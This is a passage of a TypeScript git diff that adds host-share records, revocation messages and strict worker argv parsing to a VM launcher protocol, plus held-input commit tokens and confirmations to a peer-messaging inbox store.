shares: Object.freeze(shares) }; + } + if (kind === "share_revoke") return { kind, seq, tag: readPadded(payload, 0, 32, shareTag) }; + const tag = readPadded(payload, 0, 32, shareTag), event = view.getUint32(32, true), noticeIndex = view.getUint32(36, true); + if (event === 1 && noticeIndex === 0) return { kind, seq, tag, event: "revoked" }; + const notice = COWORK_NATIVE_SHARE_NOTICE_KINDS[noticeIndex - 1]; + if (event !== 2 || notice === undefined) return fail(); + return { kind, seq, tag, event: "notice", notice }; })(); // Exact re-serialization, as for every other format here. if (hexOf(serializeCoworkNativeEnvelope(parsed)) !== hexOf(bytes)) return fail("malformed"); @@ -835,14 +1058,21 @@ export type CoworkNativeToDaemon = | { readonly t: "stopped"; readonly id: string | null; readonly receipt: CoworkNativeOrderlyReceipt } | { readonly t: "uncertain"; readonly receipt: CoworkNativeUncertainReceipt } | { readonly t: "pong"; readonly id: string } - | { readonly t: "fault"; readonly code: typeof COWORK_NATIVE_CHANNEL_FAULTS[number] }; + | { readonly t: "fault"; readonly code: typeof COWORK_NATIVE_CHANNEL_FAULTS[number] } + /** Contract revision 3: the worker's device thread for this share has closed every descriptor it held (R11); the cutoff is complete. */ + | { readonly t: "share_revoked"; readonly tag: string } + /** Contract revision 3: an allowed write to a watched auto-run name, or an R15 refusal; at most one per tag and kind per incarnation. */ + | { readonly t: "share_notice"; readonly tag: string; readonly kind: CoworkNativeShareNoticeKind }; export type CoworkNativeToLauncher = | ({ readonly t: "begin"; readonly id: string; readonly homeId: string } & CoworkNativeScope & { readonly receiptKey: CoworkNativeReceiptKey }) | { readonly t: "volumes"; readonly id: string; readonly scopeDigest: string; readonly volumes: readonly [CoworkNativeVolumeIdentity, CoworkNativeVolumeIdentity] } | { readonly t: "mux_down"; readonly frame: CoworkNativeMuxFrame } | { readonly t: "stop"; readonly id: string; readonly stopNonce: string; readonly reason: typeof COWORK_NATIVE_STOP_REASONS[number]; readonly budgetMs: number } | { readonly t: "receipt_retire"; readonly confirmationId: string } - | { readonly t: "ping"; readonly id: string }; + | { readonly t: "ping"; readonly id: string } + /** Contract revision 3, ONE descriptor per record (an open directory), sent at most once, after `hello` and before `begin`. */ + | { readonly t: "shares"; readonly id: string; readonly shares: readonly CoworkNativeShareRecord[] } + | { readonly t: "share_revoke"; readonly id: string; readonly tag: string }; export type CoworkNativeLauncherMessage = CoworkNativeToDaemon | CoworkNativeToLauncher; /** A mux carrier decodes and re-serializes its frame, so the base64 must be canonical and the frame itself exact. The @@ -857,6 +1087,16 @@ const muxField = (direction: CoworkNativeMuxDirection): Validator guestPath(value)]]; +/** The L1 `shares` records: the bootstrap share rules (kinds, mounts, modes, distinct tags and guest paths), plus host paths that are pairwise neither equal + * nor nested (a share may never contain another) and distinct (device, inode) pairs. */ +const shareRecordsOf: Validator = value => { + if (!Array.isArray(value)) return fail(); + const items = value.map(item => Object.freeze(record(item, SHARE_RECORD_SPEC) as unknown as CoworkNativeShareRecord)); + checkShareSet(items.map(item => ({ tag: item.tag, kind: item.kind, guestPath: item.guestPath, readOnly: item.mode === "ro" }))); + if (items.some((a, i) => items.some((b, j) => i < j && (nestedOrEqual(a.path, b.path) || (a.device === b.device && a.inode === b.inode))))) return fail(); + return Object.freeze(items); +}; const LAUNCHER_SPECS: Record> = { "to-daemon": { hello: [["t", literal("hello")], ["launcherInstanceId", label], ["hostBootId", label], ["parentVerified", literal(true)]], @@ -869,6 +1109,8 @@ const LAUNCHER_SPECS: Record uncertain: [["t", literal("uncertain")], ["receipt", uncertain]], pong: [["t", literal("pong")], ["id", token]], fault: [["t", literal("fault")], ["code", oneOf(COWORK_NATIVE_CHANNEL_FAULTS)]], + share_revoked: [["t", literal("share_revoked")], ["tag", shareTag]], + share_notice: [["t", literal("share_notice")], ["tag", shareTag], ["kind", oneOf(COWORK_NATIVE_SHARE_NOTICE_KINDS)]], }, "to-launcher": { begin: [["t", literal("begin")], ["id", token], ["homeId", token], ...SCOPE_SPEC, ["receiptKey", value => isCanonicalBase64Of32Bytes(value) ? value : fail()]], @@ -877,13 +1119,15 @@ const LAUNCHER_SPECS: Record stop: [["t", literal("stop")], ["id", token], ["stopNonce", nonce], ["reason", oneOf(COWORK_NATIVE_STOP_REASONS)], ["budgetMs", uint(0, COWORK_NATIVE_LIMITS.drainBudgetCeilingMs)]], receipt_retire: [["t", literal("receipt_retire")], ["confirmationId", token]], ping: [["t", literal("ping")], ["id", token]], + shares: [["t", literal("shares")], ["id", token], ["shares", shareRecordsOf]], + share_revoke: [["t", literal("share_revoke")], ["id", token], ["tag", shareTag]], }, }; /** Message types that may only travel on L1 as a mux carrier. */ const MUX_CARRIERS = new Set(["mux_up", "mux_down"]); /** Strict parse of ONE L1 line. `rights` is the number of descriptors that arrived with the line: `volumes` needs exactly - * two, nothing else may carry any. A launcher may NEVER send descriptors to the daemon (`to-daemon` lines need 0). */ + * two, `shares` exactly one per record, nothing else may carry any. A launcher may NEVER send descriptors to the daemon (`to-daemon` lines need 0). */ export function parseCoworkNativeLauncherLine(raw: unknown, direction: CoworkNativeLauncherDirection, rights = 0): CoworkNativeLauncherMessage { const specs = LAUNCHER_SPECS[direction]; if (specs === undefined) return fail("bad_direction"); @@ -893,7 +1137,8 @@ export function parseCoworkNativeLauncherLine(raw: unknown, direction: CoworkNat const spec = Object.hasOwn(specs, type) ? specs[type]! : undefined; if (!spec) return Object.hasOwn(LAUNCHER_SPECS[direction === "to-daemon" ? "to-launcher" : "to-daemon"], type) ? fail("bad_direction") : fail("unknown_type"); if (Buffer.byteLength(raw as string, "utf8") > (MUX_CARRIERS.has(type) ? COWORK_NATIVE_LIMITS.muxLineBytes : COWORK_NATIVE_LIMITS.controlLineBytes)) return fail("oversize"); - if (rights !== (type === "volumes" ? COWORK_NATIVE_LIMITS.volumeRights : 0)) return fail("bad_rights"); + const wantedRights = type === "volumes" ? COWORK_NATIVE_LIMITS.volumeRights : type === "shares" ? (Array.isArray(parsed.shares) ? parsed.shares.length : -1) : 0; + if (rights !== wantedRights) return fail("bad_rights"); if (parsed.v !== COWORK_NATIVE_TEXT_VERSION) return fail("version"); const typed = record(parsed, [...LINE_BASE, ...spec]); delete typed.v; @@ -928,6 +1173,29 @@ export const COWORK_NATIVE_WORKER_LAYOUT = Object.freeze({ /** Guest boot artifacts: `/cowork-guest/kernel` and `.../cowork-guest/initramfs.cpio`. */ guestDirectory: "cowork-guest" as const, kernelFile: "kernel" as const, initramfsFile: "initramfs.cpio" as const, }); +/** Worker argv with host-backed shares (contract revision 3): `[path, "--shares-v1", "", ("ro"|"rw", "") x N]`, N a canonical decimal from 1 to 12; + * with no shares it stays exactly `[path]`. The worker parses it strictly BEFORE its sandbox (it is the one input read before the sandbox, and it comes from the + * signed launcher that spawned it suspended, never from the guest or an envelope) and turns each pair into the sandbox parameter `SHARE_RO_` or + * `SHARE_RW_`. Paths follow the L1 `shares` rules: canonical, distinct, never nested. Any deviation is the worker's exit 2 (usage). */ +export const COWORK_NATIVE_WORKER_SHARES_FLAG = "--shares-v1"; +export interface CoworkNativeWorkerArgv { readonly path: string; readonly shares: readonly { readonly mode: "ro" | "rw"; readonly path: string }[] } +const CANONICAL_COUNT = /^(?:[1-9]|1[0-2])$/; +export function parseCoworkNativeWorkerArgv(argv: readonly string[]): CoworkNativeWorkerArgv { + if (!Array.isArray(argv) || argv.length < 1 || argv.some(arg => typeof arg !== "string")) return fail(); + const path = hostPath(argv[0]) as string; + if (argv.length === 1) return Object.freeze({ path, shares: Object.freeze([]) }); + if (argv[1] !== COWORK_NATIVE_WORKER_SHARES_FLAG || !CANONICAL_COUNT.test(argv[2] ?? "")) return fail(); + const count = Number(argv[2]); + if (argv.length !== 3 + 2 * count) return fail(); + const shares = Array.from({ length: count }, (_, index) => Object.freeze({ mode: oneOf(["ro", "rw"] as const)(argv[3 + 2 * index]) as "ro" | "rw", path: hostPath(argv[4 + 2 * index]) as string })); + if (shares.some((a, i) => shares.some((b, j) => i < j && nestedOrEqual(a.path, b.path)))) return fail(); + return Object.freeze({ path, shares: Object.freeze(shares) }); +} +export function serializeCoworkNativeWorkerArgv(argv: CoworkNativeWorkerArgv): readonly string[] { + const out = argv.shares.length === 0 ? [argv.path] : [argv.path, COWORK_NATIVE_WORKER_SHARES_FLAG, String(argv.shares.length), ...argv.shares.flatMap(share => [share.mode, share.path])]; + parseCoworkNativeWorkerArgv(out); + return Object.freeze(out); +} /** The worker's process exit codes (S3's WorkerCommon.h). 77 belongs to libkrun's own fatal stops and is never used by the worker. * Only 0 can accompany a Class A receipt; every other code is Class B at best. */ export const COWORK_NATIVE_WORKER_EXIT_CODES = Object.freeze({ ok: 0, usage: 2, sandbox: 70, bad_scope: 71, bad_volumes: 72, vm_failed: 73, mux_quarantine: 74, drain_timeout: 75, intake_timeout: 76, libkrun_reserved: 77, internal: 78, rights: 79 } as const); diff --git a/packages/core/src/cowork/native/recovery.ts b/packages/core/src/cowork/native/recovery.ts index 2c19732a5..eced53bcc 100644 --- a/packages/core/src/cowork/native/recovery.ts +++ b/packages/core/src/cowork/native/recovery.ts @@ -4,6 +4,7 @@ import type { CoworkVolumeOwner, CoworkVolumeRecord, CoworkVolumes } from "../vo import type { CoworkNativeReceiptKey } from "./receipt-mac"; import { parseCoworkNativeStopReceipt, type CoworkNativeOrderlyReceipt } from "./protocol"; import { CoworkNativePower, type CoworkPower, type CoworkPowerKey } from "./power"; +import type { CoworkNativeGuestRecords } from "./guest-records"; import { CoworkNativeStopEvidenceError, ledgerStopReceipt, mintVolumesFreeToken, mintNewBootStopProof, mintOrderlyStopProof, mintOwnerRecoverStopProof, mintReleaseToken, sameOwnerTuple, stopProofState, type CoworkNativeAdmissionView, type CoworkNativeEvidenceKind, type CoworkNativeHostBoot, type CoworkNativeLaunchEntry, type CoworkNativeLaunchJournalPort, type CoworkNativeOwnerRecoverAttestation, type CoworkNativeRecoverGuards, type CoworkNativeStopProof, type CoworkNativeStopRegistry, @@ -72,6 +73,8 @@ export interface CoworkNativeRecoveryDeps { readonly receipts?: CoworkNativeDurableReceiptPort; readonly ownerRecover?: CoworkNativeOwnerRecoverPort; readonly guards?: CoworkNativeRecoverGuards; /** The durable record of which processes each launch started; consulted by owner recovery and forgotten once an incarnation is released. */ readonly journal?: CoworkNativeLaunchJournalPort; + /** Records the proof that ended a guest boot, after a release this recovery accepted (never for a ledger-only release, which proves nothing about the guest). */ + readonly guestRecords?: Pick; readonly now?: () => number; /** Isolated crash/fault testing only, never serialized: called after each durable step. */ readonly checkpoint?: (phase: string) => void; @@ -254,6 +257,9 @@ export class CoworkNativeRecovery { } const free = this.deps.volumes.records(key.workspaceId); this.finishPower(key, mintReleaseToken({ proof, volumes: this.deps.volumes })); + // The end of this incarnation's guest boot is proven by exactly the evidence that released its disks. A record that cannot be written leaves the boot un-attested, + // which is the safe side (it is simply never listed as ended); the release itself does not wait on it. + try { this.deps.guestRecords?.recordEnd({ workspaceId: key.workspaceId, incarnationId: key.incarnationId, proof: proof.kind }); } catch { /* un-attested */ } this.deps.registry.consume(proof); this.deps.journal?.forget({ workspaceId: key.workspaceId, incarnationId: key.incarnationId, leaseEpoch: key.leaseEpoch }); // A receipt is still needed while a replay debt names its owner: the successor must prove THAT writer stopped. It is retired by `settleDebt`, diff --git a/packages/core/src/cowork/peer-inbox-composition.ts b/packages/core/src/cowork/peer-inbox-composition.ts new file mode 100644 index 000000000..0c8b921c0 --- /dev/null +++ b/packages/core/src/cowork/peer-inbox-composition.ts @@ -0,0 +1,40 @@ +import type { SessionEvent } from "@yanlinglabs/winter-protocol"; +import { coworkHeldInputReconciler, type CoworkHeldInputInbox } from "./held-input-reconcile"; +import { coworkLostInputNotice, coworkStalledInboxNotice } from "./held-input"; +import type { CoworkSessionDriverDeps } from "./session-driver"; + +/* + * The composition seam for Cowork peer messaging (N2 S7B, b4), the three pieces #92 4.5 leaves to the composition: + * - the driver's `heldInput` gate (reconcile in the recipient's drain chain, then drain what is owed once the epoch is published), + * - `noteLostPeerMessage` -> a `continuity_warning` on the recipient's conversation (`coworkLostInputNotice`), + * - `noteStalledPeerInbox` -> a `continuity_warning` on the recipient's conversation (`coworkStalledInboxNotice`). + * + * GATED OFF: nothing in production calls these (the daemon builds no Cowork driver and passes no peer inbox to `SessionMessaging`), and + * `session.create {mode:"cowork"}` keeps answering `unsupported_topology`. Tests and an injected composition supply the ports. + */ +export interface CoworkNoticeSink { append(sessionId: string, input: Omit, "seq" | "ts">): unknown } +export interface CoworkRecipientMessaging { + runInRecipientChain(recipientSessionId: string, work: () => Promise): Promise; + drainCoworkInbox(recipientSessionId: string): Promise; +} + +/** The two `SessionMessagingDeps` hooks. Each appends a `continuity_warning` (main thread) with the fixed notice text; a failed append is swallowed (the ledger already says what happened). */ +export function coworkPeerInboxNotes(sink: CoworkNoticeSink): { noteLostPeerMessage: (recipientSessionId: string) => void; noteStalledPeerInbox: (recipientSessionId: string) => void } { + const show = (sessionId: string, notice: { warning: string; text: string }): void => { + try { sink.append(sessionId, { type: "continuity_warning", sessionId, threadId: "main", warning: notice.warning, text: notice.text }); } catch { /* best effort */ } + }; + return { noteLostPeerMessage: sessionId => show(sessionId, coworkLostInputNotice()), noteStalledPeerInbox: sessionId => show(sessionId, coworkStalledInboxNotice()) }; +} + +/** `CoworkSessionDriverDeps.heldInput`: reconcile inside the recipient's drain chain; once the epoch is published, drain the inbox. `messaging` is a thunk because the messaging service is built after (and with) the hooks above. */ +export function coworkHeldInputGate(deps: { inbox: CoworkHeldInputInbox; messaging: () => CoworkRecipientMessaging | undefined }): NonNullable { + const chain = (sessionId: string, work: () => Promise): Promise => { + const messaging = deps.messaging(); + return messaging === undefined ? work() : messaging.runInRecipientChain(sessionId, work); + }; + return { + enabled: true, + reconcile: coworkHeldInputReconciler(deps.inbox, chain), + published: sessionId => { void deps.messaging()?.drainCoworkInbox(sessionId); }, + }; +} diff --git a/packages/core/src/cowork/peer-inbox-sqlite.ts b/packages/core/src/cowork/peer-inbox-sqlite.ts index 102278593..3b193c4fb 100644 --- a/packages/core/src/cowork/peer-inbox-sqlite.ts +++ b/packages/core/src/cowork/peer-inbox-sqlite.ts @@ -1,7 +1,7 @@ import type { RuntimeStateDb } from "../runtime-state/db"; import { durableCoworkTransaction } from "./durable-transaction"; import { isTerminalPeerState } from "./peer-inbox"; -import type { PeerAppendResult, PeerInboxAudit, PeerInboxCaps, PeerInboxEntry, PeerInboxPatch, PeerInboxRecord, PeerInboxStore, PeerReceiptState, PeerSendIdentity } from "./peer-inbox"; +import type { PeerCommitOutcome, PeerAppendResult, PeerInboxAudit, PeerInboxCaps, PeerInboxEntry, PeerInboxPatch, PeerInboxRecord, PeerInboxStore, PeerReceiptState, PeerSendIdentity } from "./peer-inbox"; import { CoworkError } from "./types"; /* @@ -28,7 +28,7 @@ const HANDLE_PREFIX = "pib_"; const CONTROL = /[\u0000-\u001f\u007f]/; const COLUMNS = `receipt_id, sender_session_id, sender_incarnation, send_id, recipient_session_id, digest, size, body IS NOT NULL AS has_body, sequence, state, reason, attempts, offered_incarnation, offered_lease_epoch, - delivered_incarnation, delivered_lease_epoch, discarded_by, accepted_at, updated_at, version`; + delivered_incarnation, delivered_lease_epoch, discarded_by, offer_count, acked_hold_token, commit_confirmed_at, commit_outcome, accepted_at, updated_at, version`; const STATES: readonly PeerReceiptState[] = ["accepted", "delivered", "blocked", "refused"]; const DECODER = new TextDecoder("utf-8", { fatal: true, ignoreBOM: true }); @@ -37,6 +37,7 @@ interface Row { digest: string; size: number; has_body: number; sequence: number; state: PeerReceiptState; reason: PeerInboxRecord["reason"]; attempts: number; offered_incarnation: string | null; offered_lease_epoch: number | null; delivered_incarnation: string | null; delivered_lease_epoch: number | null; discarded_by: string | null; + offer_count: number; acked_hold_token: string | null; commit_confirmed_at: number | null; commit_outcome: PeerCommitOutcome | null; accepted_at: number; updated_at: number; version: number; } @@ -55,7 +56,7 @@ const record = (row: Row): PeerInboxRecord => ({ attempts: row.attempts, offered: row.offered_incarnation === null ? null : { incarnationId: row.offered_incarnation, leaseEpoch: row.offered_lease_epoch! }, deliveredUnder: row.delivered_incarnation === null ? null : { incarnationId: row.delivered_incarnation, leaseEpoch: row.delivered_lease_epoch! }, - discardedBy: row.discarded_by, acceptedAt: row.accepted_at, updatedAt: row.updated_at, version: row.version, + discardedBy: row.discarded_by, offerCount: row.offer_count, ackedHoldToken: row.acked_hold_token, commitConfirmedAt: row.commit_confirmed_at, commitOutcome: row.commit_outcome, acceptedAt: row.accepted_at, updatedAt: row.updated_at, version: row.version, }); export class SqlitePeerInboxStore implements PeerInboxStore { @@ -148,6 +149,8 @@ export class SqlitePeerInboxStore implements PeerInboxStore { set(columns[0], epoch === null ? null : epoch.incarnationId); set(columns[1], epoch === null ? null : epoch.leaseEpoch); } if (patch.discardedBy !== undefined) { if (patch.discardedBy !== null) checkId(patch.discardedBy); set("discarded_by", patch.discardedBy); } + if (patch.offerCount !== undefined) { if (!Number.isSafeInteger(patch.offerCount) || patch.offerCount < 0) throw new CoworkError("invalid_request"); set("offer_count", patch.offerCount); } + if (patch.ackedHoldToken !== undefined) { if (patch.ackedHoldToken !== null && !/^[0-9a-f]{64}$/.test(patch.ackedHoldToken)) throw new CoworkError("invalid_request"); set("acked_hold_token", patch.ackedHoldToken); } if (!Number.isFinite(patch.updatedAt)) throw new CoworkError("invalid_request"); set("updated_at", patch.updatedAt); const run = () => durableCoworkTransaction(this.rs, () => { @@ -165,6 +168,18 @@ export class SqlitePeerInboxStore implements PeerInboxStore { return this.erasing(run); } + confirm(receiptId: string, outcome: PeerCommitOutcome, at: number): PeerInboxRecord { + if (!Number.isFinite(at)) throw new CoworkError("invalid_request"); + return durableCoworkTransaction(this.rs, () => { + const current = this.row(receiptId); + if (!current) throw new CoworkError("not_found"); + if (current.state !== "delivered" || current.acked_hold_token === null) throw new CoworkError("invalid_request"); + if (current.commit_confirmed_at !== null) return record(current); + this.rs.db.run("UPDATE cowork_peer_inbox SET commit_confirmed_at=?, commit_outcome=?, version=version+1 WHERE receipt_id=?", [at, outcome, receiptId]); + return record(this.row(receiptId)!); + }); + } + readBody(handle: string): string | undefined { if (typeof handle !== "string" || !handle.startsWith(HANDLE_PREFIX)) return undefined; this.beforeBodyRead(handle); diff --git a/packages/core/src/cowork/peer-inbox.ts b/packages/core/src/cowork/peer-inbox.ts index a88cb59d5..9096d13a7 100644 --- a/packages/core/src/cowork/peer-inbox.ts +++ b/packages/core/src/cowork/peer-inbox.ts @@ -50,6 +50,11 @@ export type PeerEpoch = Pick; export interface PeerSendIdentity { senderSessionId: string; senderIncarnation: string; sendId: string } export interface PeerSendRequest extends PeerSendIdentity { recipientSessionId: string; text: string } +/** #92 4.5: how the guest runtime took a committed held input (`lost`: it had no record of it, terminal). */ +export type PeerCommitOutcome = "folded" | "queued" | "started" | "already" | "lost"; +const COMMIT_OUTCOMES: readonly string[] = ["folded", "queued", "started", "already", "lost"]; +const HOLD_TOKEN = /^[0-9a-f]{64}$/; + export interface PeerInboxRecord { readonly receiptId: string; readonly senderSessionId: string; readonly senderIncarnation: string; readonly sendId: string; @@ -71,6 +76,13 @@ export interface PeerInboxRecord { * Kept for audit only: a host identity must never reach a possibly untrusted guest agent, so no `PeerReceipt` * (the sender-visible projection) carries it. */ readonly discardedBy: string | null; + /** #92 4.5: how many times `offer` offered this record (the hold token's input). Incremented by `offer`. */ + readonly offerCount: number; + /** The hold token the ack landed under (held-input delivery only), stored atomically with the delivery; else null. */ + readonly ackedHoldToken: string | null; + /** When the host confirmed the guest took the commit (held-input delivery only), and how. Both set together, or neither. */ + readonly commitConfirmedAt: number | null; + readonly commitOutcome: PeerCommitOutcome | null; readonly acceptedAt: number; readonly updatedAt: number; /** Compare-and-set token, bumped by every update. */ readonly version: number; @@ -79,7 +91,7 @@ export interface PeerInboxRecord { export type PeerInboxEntry = Pick; /** The only fields `update` may change. An unspecified (or `undefined`) field is left untouched; an explicit `null` * clears a nullable one. Anything else on the object is ignored, so `sequence`, identity and digest are immutable. */ -export type PeerInboxPatch = Partial> & { updatedAt: number }; +export type PeerInboxPatch = Partial> & { updatedAt: number }; /** Exhaustion bounds, decided by the store INSIDE its atomic append. */ export interface PeerInboxCaps { maxUnresolvedPerRecipient: number; maxUnresolvedPerSenderRecipient: number; maxUnresolvedBytesPerRecipient: number } export type PeerAppendResult = @@ -143,6 +155,10 @@ export interface PeerInboxStore { * MUST throw, never return `undefined`: the ledger treats `undefined` as a damaged body, and the host * `discard` exit would then drop a healthy message after a transient failure. */ readBody(handle: string): string | undefined; + /** #92 4.5: marks a DELIVERED record whose held input the guest took (`commitConfirmedAt` and `commitOutcome`, set together). + * Not a compare-and-set: the first confirmation wins, a later one returns the record unchanged. A record that is not + * delivered, or has no `ackedHoldToken`, throws invalid_request. The record stays terminal. */ + confirm(receiptId: string, outcome: PeerCommitOutcome, at: number): PeerInboxRecord; /** Removes a TERMINAL record; a non-terminal one throws invalid_request and stays. The recipient's sequence * counter is untouched, including across a restart. */ remove(receiptId: string): void; @@ -164,8 +180,11 @@ export type PeerAcceptResult = | { outcome: "retained"; receipt: PeerReceipt } /** Not persisted and no receipt: a refused attempt creates no durable state and wakes nothing. */ | { outcome: "refused"; reason: PeerAcceptRefusal }; -export interface PeerOffer { receipt: PeerReceipt; body: string; epoch: PeerEpoch } -export interface PeerAck { receiptId: string; recipientSessionId: string; epoch: PeerEpoch } +export interface PeerOffer { receipt: PeerReceipt; body: string; epoch: PeerEpoch; /** The record's offer counter after this offer (>= 1). */ offerCount: number } +/** `holdToken`: the hold the recipient's runtime holds this input under (#92 4.5); stored as `ackedHoldToken` atomically with the delivery. */ +export interface PeerAck { receiptId: string; recipientSessionId: string; epoch: PeerEpoch; holdToken?: string } +/** What a held input's final disposition must be, from the ledger alone (#92 4.5). */ +export type PeerVerdict = { action: "commit"; ackedHoldToken: string } | { action: "discard" }; /** The door out for a record that would otherwise sit forever. `user` must be an authenticated local user * client (the wired surface supplies the principal; peers and runtime principals must never reach it); `host` * drops only a head whose body is provably damaged. */ @@ -288,7 +307,7 @@ export class CoworkPeerInbox { const records = durable(() => this.store.unresolved(recipientSessionId)); // A record parked only for authority is runnable again the moment its pair may send; one the delivery owner // blocked (grants, resources, recovery) is not, until that owner retries it. - const runnable = records.filter(record => (record.state === "accepted" || (record.state === "blocked" && record.reason === "authority")) && this.verdict(record, verdicts)).length; + const runnable = records.filter(record => (record.state === "accepted" || (record.state === "blocked" && record.reason === "authority")) && this.pairVerdict(record, verdicts)).length; return { runnable, blocked: records.length - runnable }; } @@ -319,8 +338,8 @@ export class CoworkPeerInbox { if (!(head.state === "blocked" && head.reason === "recovery")) this.move(head, { state: "blocked", reason: "recovery", offered: null }); return undefined; } - const offered = this.move(head, { state: "accepted", reason: null, attempts: head.attempts + 1, offered: { incarnationId: epoch.incarnationId, leaseEpoch: epoch.leaseEpoch } }); - return { receipt: view(offered), body, epoch: { incarnationId: epoch.incarnationId, leaseEpoch: epoch.leaseEpoch } }; + const offered = this.move(head, { state: "accepted", reason: null, attempts: head.attempts + 1, offerCount: head.offerCount + 1, offered: { incarnationId: epoch.incarnationId, leaseEpoch: epoch.leaseEpoch } }); + return { receipt: view(offered), body, epoch: { incarnationId: epoch.incarnationId, leaseEpoch: epoch.leaseEpoch }, offerCount: offered.offerCount }; } /** The recipient durably acknowledged the input (not that a model read it). Refused unless the ack carries @@ -329,6 +348,7 @@ export class CoworkPeerInbox { * recipient runtime discards the input it was holding). Idempotent for the same epoch once delivered. */ ack(request: PeerAck): PeerReceipt { checkId(request?.receiptId); checkId(request.recipientSessionId); checkEpoch(request.epoch); + if (request.holdToken !== undefined && (typeof request.holdToken !== "string" || !HOLD_TOKEN.test(request.holdToken))) throw new CoworkError("invalid_request"); const record = durable(() => this.store.get(request.receiptId)); if (!record || record.recipientSessionId !== request.recipientSessionId) throw new CoworkError("not_found"); if (record.state === "delivered") { @@ -338,7 +358,36 @@ export class CoworkPeerInbox { if (record.state !== "accepted" || record.offered === null) throw new CoworkError("stale_acknowledgment"); if (!sameEpoch(record.offered, request.epoch) || !this.epochCurrent(record.recipientSessionId, request.epoch)) throw new CoworkError("stale_acknowledgment"); if (!this.permitted(record)) { this.deny(record); throw new CoworkError("authority_denied"); } - return view(this.move(record, { state: "delivered", reason: null, offered: null, deliveredUnder: record.offered })); + return view(this.move(record, { state: "delivered", reason: null, offered: null, deliveredUnder: record.offered, ...(request.holdToken === undefined ? {} : { ackedHoldToken: request.holdToken }) })); + } + + /** #92 4.5: what to do with a held input of `receiptId` that the recipient's runtime reports holding. `delivered` with a + * recorded ack token commits under THAT token; everything else (accepted, blocked, refused, an unknown id, another + * recipient's id, a delivery that recorded no token) discards. Read-only. */ + verdict(receiptId: string, recipientSessionId: string): PeerVerdict { + checkId(receiptId); checkId(recipientSessionId); + const record = durable(() => this.store.get(receiptId)); + if (record && record.recipientSessionId === recipientSessionId && record.state === "delivered" && record.ackedHoldToken !== null) return { action: "commit", ackedHoldToken: record.ackedHoldToken }; + return { action: "discard" }; + } + + /** #92 4.5: the host learned how the guest took the committed input. Delivered, held-input receipts only. Idempotent: the + * first outcome stays. Without this mark `prune` keeps the record (its verdict may still be needed). */ + confirmCommitted(receiptId: string, outcome: PeerCommitOutcome): PeerReceipt { + checkId(receiptId); + if (!COMMIT_OUTCOMES.includes(outcome)) throw new CoworkError("invalid_request"); + const record = durable(() => this.store.get(receiptId)); + if (!record) throw new CoworkError("not_found"); + if (record.state !== "delivered" || record.ackedHoldToken === null) throw new CoworkError("invalid_request"); + if (record.commitConfirmedAt !== null) return view(record); + return view(durable(() => this.store.confirm(receiptId, outcome, this.now()))); + } + + /** #92 4.5 rule 3: this recipient's delivered held-input receipts the host has not confirmed, oldest first. */ + deliveredUnconfirmed(recipientSessionId: string): Array<{ receiptId: string; ackedHoldToken: string }> { + checkId(recipientSessionId); + return durable(() => this.store.terminal(recipientSessionId)).filter(record => record.state === "delivered" && record.ackedHoldToken !== null && record.commitConfirmedAt === null) + .map(record => ({ receiptId: record.receiptId, ackedHoldToken: record.ackedHoldToken! })); } /** The delivery owner cannot deliver now (grants, resources, recovery). Only the owner of the CURRENT offer @@ -388,7 +437,8 @@ export class CoworkPeerInbox { const at = this.now(), ttl = this.limits.terminalTtlMs, keep = this.limits.terminalKeepPerRecipient; let removed = 0; for (const recipient of recipientSessionId === undefined ? durable(() => this.store.recipients()) : [recipientSessionId]) { - const terminal = durable(() => this.store.terminal(recipient)); + // A delivered held input the host has not confirmed is never pruned: its verdict may still be asked for (#92 4.5). + const terminal = durable(() => this.store.terminal(recipient)).filter(record => !(record.state === "delivered" && record.ackedHoldToken !== null && record.commitConfirmedAt === null)); const live = terminal.filter(record => at - record.updatedAt <= ttl); const doomed = [...terminal.filter(record => at - record.updatedAt > ttl), ...live.slice(0, Math.max(0, live.length - keep))]; for (const record of doomed) { durable(() => this.store.remove(record.receiptId)); removed++; } @@ -410,7 +460,7 @@ export class CoworkPeerInbox { return mayContactCoworkPeer(this.records, record.senderSessionId, record.recipientSessionId, "send"); } /** One authority answer per (sender, recipient) pair per pass. */ - private verdict(record: PeerInboxRecord, verdicts: Map): boolean { + private pairVerdict(record: PeerInboxRecord, verdicts: Map): boolean { const key = JSON.stringify([record.senderSessionId, record.recipientSessionId]); let allowed = verdicts.get(key); if (allowed === undefined) { allowed = this.permitted(record); verdicts.set(key, allowed); } @@ -420,7 +470,7 @@ export class CoworkPeerInbox { private sweep(recipientSessionId: string): PeerInboxRecord[] { const verdicts = new Map(), eligible: PeerInboxRecord[] = []; for (const record of durable(() => this.store.unresolved(recipientSessionId))) { - if (this.verdict(record, verdicts)) eligible.push(record); else this.deny(record); + if (this.pairVerdict(record, verdicts)) eligible.push(record); else this.deny(record); } return eligible; } @@ -477,7 +527,7 @@ export interface PeerInboxMemoryState { bodyCounter: number; } export const createPeerInboxMemoryState = (): PeerInboxMemoryState => ({ records: new Map(), identities: new Map(), bodies: new Map(), sequences: new Map(), bodyCounter: 0 }); -const PATCHABLE = ["state", "reason", "attempts", "offered", "deliveredUnder", "discardedBy", "updatedAt"] as const; +const PATCHABLE = ["state", "reason", "attempts", "offered", "deliveredUnder", "discardedBy", "offerCount", "ackedHoldToken", "updatedAt"] as const; const identityKey = (identity: PeerSendIdentity): string => JSON.stringify([identity.senderSessionId, identity.senderIncarnation, identity.sendId]); export class InMemoryPeerInboxStore implements PeerInboxStore { @@ -502,7 +552,7 @@ export class InMemoryPeerInboxStore implements PeerInboxStore { if (open.reduce((total, record) => total + record.size, 0) + entry.size > caps.maxUnresolvedBytesPerRecipient) return { status: "full", reason: "inbox_bytes_full" }; const previous = this.state.sequences.get(entry.recipientSessionId) ?? 0, sequence = previous + 1, handle = `body_${this.state.bodyCounter + 1}`; - const record: PeerInboxRecord = { ...entry, bodyHandle: handle, sequence, state: "accepted", reason: null, attempts: 0, offered: null, deliveredUnder: null, discardedBy: null, updatedAt: entry.acceptedAt, version: 1 }; + const record: PeerInboxRecord = { ...entry, bodyHandle: handle, sequence, state: "accepted", reason: null, attempts: 0, offered: null, deliveredUnder: null, discardedBy: null, offerCount: 0, ackedHoldToken: null, commitConfirmedAt: null, commitOutcome: null, updatedAt: entry.acceptedAt, version: 1 }; const undo: Array<() => void> = []; try { this.beforeWrite(); this.state.bodies.set(handle, body); undo.push(() => { this.state.bodies.delete(handle); }); @@ -541,6 +591,15 @@ export class InMemoryPeerInboxStore implements PeerInboxStore { } else this.state.records.set(receiptId, next); return { ...this.state.records.get(receiptId)! }; } + confirm(receiptId: string, outcome: PeerCommitOutcome, at: number): PeerInboxRecord { + const current = this.state.records.get(receiptId); + if (!current) throw new 